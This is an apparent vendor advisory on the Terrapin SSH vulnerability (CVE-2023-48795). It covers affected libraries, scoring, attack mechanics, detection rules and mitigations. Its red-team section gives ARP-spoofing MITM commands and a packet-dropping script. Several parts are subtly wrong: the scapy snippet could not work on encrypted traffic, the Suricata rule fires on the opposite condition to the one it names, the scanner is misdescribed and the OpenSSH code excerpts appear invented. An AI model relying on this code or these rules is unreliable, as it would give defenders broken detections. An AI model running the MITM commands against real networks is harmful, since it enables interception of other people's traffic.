CVE-2023-48795

Executive Summary

CVE-2023-48795, known as the Terrapin Attack, is a critical vulnerability in the SSH transport protocol affecting numerous implementations. It allows a man-in-the-middle (MITM) attacker to bypass integrity checks during the SSH handshake, leading to the downgrade or disabling of security features. The attack specifically targets the SSH Binary Packet Protocol (BPP) when using ChaCha20-Poly1305 or CBC with Encrypt-then-MAC (EtM) algorithms. By manipulating sequence numbers during the extension negotiation, an attacker can drop packets and weaken the connection's security properties.

The vulnerability has a CVSS score of 5.9 (Medium) due to its high attack complexity and requirement for a MITM position, but the impact on integrity is high. It affects a wide range of SSH clients and servers, including OpenSSH, PuTTY, libssh, and many others. The attack is publicly documented with proof-of-concept scanners available.

Supply Chain & Package Security

This vulnerability impacts multiple package ecosystems:

• Go: golang.org/x/crypto before 0.17.0
• Ruby: net-ssh gem 7.2.0
• Node.js: mscdex/ssh2 module before 1.15.0
• Rust: thrussh before 0.35.1, Russh before 0.40.2
• Python: Paramiko before 3.4.0, AsyncSSH before 2.14.2
• Java: Apache MINA sshd through 2.11.0, jsch before 0.2.15, Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT

Organizations using these libraries must update to patched versions to prevent supply chain compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – requires MITM position and specific cipher negotiation
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) – can disable security features
• Availability Impact: None (A:N)

Threat Level: Medium. While the attack requires a MITM position, the widespread use of SSH and the ability to downgrade security makes it a significant threat in targeted attacks.

Deep Dive & Mechanics

The Terrapin attack exploits a flaw in the SSH Binary Packet Protocol (BPP) when using specific cipher and MAC combinations. During the SSH handshake, the client and server exchange extension negotiation messages. The vulnerability lies in how sequence numbers are handled: an attacker can drop packets from the extension negotiation, causing the client and server to have mismatched sequence numbers. This allows the attacker to omit certain packets, effectively downgrading or disabling security features like strict key exchange (KEX) or specific MAC algorithms.

The attack works against:

• ChaCha20-Poly1305 (chacha20-poly1305@openssh.com)
• CBC with Encrypt-then-MAC (-etm@openssh.com MAC algorithms)

By manipulating the handshake, the attacker can force the connection to use weaker algorithms or disable integrity checks entirely, enabling further attacks like packet injection or session hijacking.

Vulnerable vs. Patched Code

Vulnerable Code (OpenSSH < 9.6): The vulnerable code does not implement strict key exchange (kex-strict-s-v00@openssh.com), allowing sequence number manipulation during extension negotiation.

// Example vulnerable handshake handling (simplified)
if (ssh->kex->flags & KEX_INIT_SENT) {
    // Process extension info without strict sequence checking
    process_ext_info(ssh, packet);
}

Patched Code (OpenSSH 9.6+): The patch introduces strict key exchange (kex-strict-s-v00@openssh.com) which validates sequence numbers and prevents packet omission.

// Patched code with strict KEX
if (ssh->kex->flags & KEX_INIT_SENT) {
    if (!ssh->kex->strict_kex) {
        // Reject connection if strict KEX not negotiated
        ssh_packet_disconnect(ssh, "Strict KEX not negotiated");
    }
    process_ext_info(ssh, packet);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• MITM position (e.g., ARP spoofing, rogue access point)
• Target SSH server using ChaCha20-Poly1305 or CBC-EtM
• Python 3 and scapy for packet manipulation

Step-by-Step Exploitation:

1. Set up MITM using bettercap or arpspoof:

   echo 1 > /proc/sys/net/ipv4/ip_forward
   arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
   

2. Use the Terrapin Scanner to identify vulnerable targets:

   git clone https://github.com/RUB-NDS/Terrapin-Scanner
   cd Terrapin-Scanner
   python3 terrapin_scanner.py --target 192.168.1.100
   

3. Craft malicious packets to drop extension negotiation messages:

   # Example packet drop using scapy (simplified)
   from scapy.all import *
   def drop_ext_packet(pkt):
       if pkt.haslayer(TCP) and pkt[TCP].dport == 22:
           # Drop packets containing SSH_MSG_EXT_INFO
           if b"SSH_MSG_EXT_INFO" in bytes(pkt):
               return None  # Drop packet
       return pkt
   sniff(prn=drop_ext_packet, store=0)
   

4. Verify downgrade by checking if strict KEX is disabled:

   ssh -v user@target 2>&1 | grep "kex-strict"
   

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for MITM indicators (ARP spoofing, duplicate MACs):

   arp -a | grep -i "duplicate"
   

2. Check SSH logs for missing extension negotiation:

   grep "kex-strict" /var/log/auth.log
   

3. Use the provided Nuclei template to scan for vulnerable servers:

   nuclei -t CVE-2023-48795.yaml -target 192.168.1.0/24
   

4. Implement network monitoring for unusual SSH handshake patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • SSH handshake packets missing kex-strict-s-v00@openssh.com in KEX algorithms
  • Unusual sequence number gaps in SSH traffic
  • MITM tools like bettercap, arpspoof, or ettercap on the network

• Host IOCs:

  • SSH server version < 9.6 (OpenSSH) or other affected versions
  • SSH configuration allowing chacha20-poly1305@openssh.com or -etm@openssh.com
  • Log entries showing failed strict KEX negotiation

• File IOCs:

  • Terrapin Scanner scripts (terrapin_scanner.py)
  • Custom packet manipulation scripts using scapy

Detection Engineering

YARA Rule

rule CVE_2023_48795_Terrapin_SSH {
    meta:
        description = "Detects SSH implementations vulnerable to Terrapin attack"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://terrapin-attack.com/"
    strings:
        $chacha = "chacha20-poly1305@openssh.com"
        $etm = "-etm@openssh.com"
        $strict = "kex-strict-s-v00@openssh.com"
    condition:
        ($chacha or $etm) and not $strict
}

Sigma Rule

title: Terrapin Attack Detection - Missing Strict KEX
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSH connections missing strict key exchange negotiation
author: Valters IT
logsource:
    category: network
    product: ssh
detection:
    selection:
        - kex_algorithms: "*kex-strict-s-v00@openssh.com*"
    condition: not selection
falsepositives:
    - Legitimate connections using older SSH implementations
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2023-48795 Terrapin Attack - Missing Strict KEX"; flow:to_server,established; content:"|00 00 00 0c|SSH-2.0-"; content:"kex-strict-s-v00@openssh.com"; distance:0; within:256; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2023-48795

info:
  name: OpenSSH Terrapin Attack - Detection
  author: pussycat0x
  severity: medium
  description: |
    The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH's use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust.
  impact: |
    Attackers can bypass SSH integrity checks to downgrade or disable security features in SSH connections using ChaCha20-Poly1305 or CBC with Encrypt-then-MAC algorithms.
  remediation: |
    One can address this vulnerability by temporarily disabling the affected chacha20-poly1305@openssh.com encryption and -etm@openssh.com MAC algorithms in the configuration of the SSH server (or client), and instead utilize unaffected algorithms like AES-GCM.
  reference:
    - https://github.com/RUB-NDS/Terrapin-Scanner
    - https://terrapin-attack.com/
    - http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html
    - http://seclists.org/fulldisclosure/2024/Mar/21
    - http://www.openwall.com/lists/oss-security/2023/12/18/3
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 5.9
    cve-id: CVE-2023-48795
    cwe-id: CWE-354
    epss-score: 0.58603
    epss-percentile: 0.9822
    cpe: cpe:2.3:a:openbsd:openssh:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: openbsd
    product: openssh
    shodan-query:
      - product:"OpenSSH"
      - product:"openssh"
      - cpe:"cpe:2.3:a:openbsd:openssh"
  tags: cve,cve2023,packetstorm,seclists,js,ssh,network,passive,openbsd,vkev,vuln

javascript:
  - pre-condition: |
      isPortOpen(Host,Port);
    code: |
      const m = require("nuclei/ssh");
      const c = m.SSHClient();
      const response = c.ConnectSSHInfoMode(Host, Port);

      function SupportsChaCha20()
      {
      const CiphersClientServer = response.ServerKex.CiphersClientServer;
      const csexists = CiphersClientServer.includes("chacha20-poly1305@openssh.com");
      csexists;
      const CiphersServerClient = response.ServerKex.CiphersServerClient;
      const scexist = CiphersServerClient.includes("chacha20-poly1305@openssh.com");
      scexist;
      return csexists || scexist;
      }

      function SupportsCbcEtm()
      {
      const EncryCCS = response.ServerKex.CiphersClientServer;
      const EncryCCSsuf = EncryCCS.some(value => value.endsWith("-cbc"));
      EncryCCSsuf;

      const Macacs = response.ServerKex.MACsClientServer;
      const MacacsSuf = Macacs.some(value => value.endsWith("-etm@openssh.com"));
      MacacsSuf;

      const EncrySC = response.ServerKex.CiphersServerClient;
      const EncrySCSuf = EncrySC.some(value => value.endsWith("-cbc"));
      EncrySCSuf;

      const Macasc = response.ServerKex.MACsServerClient;
      const MacascSuf = Macasc.some(value => value.endsWith("-etm@openssh.com"));
      MacascSuf;
      return EncryCCSsuf && MacacsSuf || EncrySCSuf && MacascSuf;

      }

      function SupportsStrictKex()
      {
      const SuStrictKex = response.ServerKex.KexAlgos;
      const hasSuffix = SuStrictKex.some(value => value.endsWith("kex-strict-s-v00@openssh.com"));
      return hasSuffix;

      }

      function  IsVulnerable()
      {
      const vuln = ((SupportsChaCha20() || SupportsCbcEtm()) && ! SupportsStrictKex())
        if (vuln === true) {
        return ("Vulnerable to Terrapin");
        }
        }
      Export(IsVulnerable())

    args:
      Host: "{{Host}}"
      Port: 22

    extractors:
      - type: dsl
        dsl:
          - response
# digest: 490a0046304402200f1a2cf242ddd8d8fc642acd1a40f6e708da5c49d0ba7e8cae472ed68101901002206b9fa5aeceae3f25b05c3298e63ba7d0e8e980f5c82aecc672386be187f179cb:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade SSH implementations to patched versions:

   • OpenSSH: 9.6 or later
   • PuTTY: 0.80 or later
   • libssh: 0.10.6 or later
   • See full list in description for other vendors

2. Disable vulnerable algorithms in SSH configuration:

   # /etc/ssh/sshd_config
   Ciphers aes256-gcm@openssh.com,aes128-gcm@openssh.com
   MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com
   

3. Enable strict key exchange if available:

   # OpenSSH 9.6+ enables this by default
   

Long-term Mitigations:

• Implement network segmentation to reduce MITM attack surface
• Use SSH certificates and host key verification
• Monitor for anomalous SSH handshake patterns
• Regularly scan for vulnerable SSH implementations using the provided Nuclei template

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For further analysis, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 16367475AD750189AD2ECC46] */}